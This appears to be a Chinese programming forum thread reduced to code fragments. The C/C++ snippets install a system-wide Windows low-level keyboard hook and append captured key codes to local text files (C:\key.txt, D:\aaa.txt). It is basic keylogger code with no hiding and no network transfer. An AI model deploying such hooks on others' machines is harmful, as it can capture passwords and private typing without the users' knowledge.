15,471
社区成员
发帖
与我相关
我的任务
分享
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
HINSTANCE hInst;
#pragma data_seg("kbdata")
HHOOK keyhook = 0;
#pragma data_seg()
#pragma comment(linker, "/SECTION:kbdata,RWS")
#define DLLExport extern "C" __declspec(dllexport)
BOOL WINAPI DllMain(HINSTANCE hInstance, ULONG What, LPVOID NotUsed)
{
switch(What)
{
case DLL_PROCESS_ATTACH:
hInst = hInstance;
break;
default: break;
}
return TRUE;
}
DLLExport LRESULT CALLBACK KBProc(int nCode, WPARAM wParam, LPARAM lParam)
{
FILE *fp;
//if (lParam & 0x80000000)
//if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN)
{
fp = fopen("C:\\key.txt", "a");
fprintf(fp, " Code:%d %4d\n", nCode, wParam);
fclose(fp);
}
return CallNextHookEx(keyhook, nCode, wParam, lParam);
}
DLLExport void InstallHook()
{
keyhook = SetWindowsHookEx(WH_KEYBOARD_LL, (HOOKPROC)KBProc, hInst, 0);
}
DLLExport void EndHook(void)
{
UnhookWindowsHookEx(keyhook);
}
p_install(); //装钩子
Sleep(30000); //这段时间内测试钩子
p_End(); //卸载钩子
p_install();
while (GetMessage (&msg, NULL, 0, 0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
p_End();
HHOOK g_hKey = NULL;
HWND g_hWnd = NULL;
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
if (code == HC_ACTION)
{
PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
if(wParam == WM_KEYUP)
{
ofstream outfile("D:\\aaa.txt", ofstream::out | ofstream::app);
char buf1[1024] = {0};
sprintf(buf1, "code: %d %4d", code, p->vkCode);
outfile << buf1 << endl;
outfile.close();
}
}
return ::CallNextHookEx(g_hKey, code, wParam, lParam);
}
void SetHook(HWND hWnd)
{
g_hWnd = hWnd;
g_hKey = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, GetModuleHandle("Hook"), 0);
}